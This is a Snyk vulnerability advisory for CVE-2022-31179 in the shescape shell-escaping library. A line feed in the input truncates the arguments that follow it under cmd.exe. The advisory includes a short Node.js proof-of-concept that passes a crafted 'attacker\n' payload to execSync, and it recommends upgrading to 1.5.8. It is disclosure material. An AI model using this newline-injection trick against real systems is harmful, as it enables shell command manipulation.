Remote Code Execution (RCE) Affecting shescape package, versions <1.5.8


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of concept
EPSS
0.27% (69th percentile)

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  • Snyk IDSNYK-JS-SHESCAPE-2952703
  • published17 Jul 2022
  • disclosed15 Jul 2022
  • creditUnknown

Introduced: 15 Jul 2022

CVE-2022-31179  (opens in a new tab)
CWE-94  (opens in a new tab)

How to fix?

Upgrade shescape to version 1.5.8 or higher.

Overview

shescape is a simple shell escape library

Affected versions of this package are vulnerable to Remote Code Execution (RCE) on Windows, when processing cmd.exe commands. An attacker can cause all arguments following their input to be ignored by including a line feed character ('\n') in the input.

PoC:

import cp from "node:child_process";
import * as shescape from "shescape";

// 1. Prerequisites
const options = {
  shell: "cmd.exe",
};

// 2. Attack
const payload = "attacker\n";

// 3. Usage
let escapedPayload;
escapedPayload = shescape.escape(payload, options);
// Or
escapedPayload = shescape.escapeAll([payload], options)[0];
// Or
escapedPayload = shescape.quote(payload, options);
// Or
escapedPayload = shescape.quoteAll([payload], options)[0];

cp.execSync(`echo Hello ${escapedPayload}! How are you doing?`, options);
// Outputs:  "Hello attacker"

CVSS Scores

version 3.1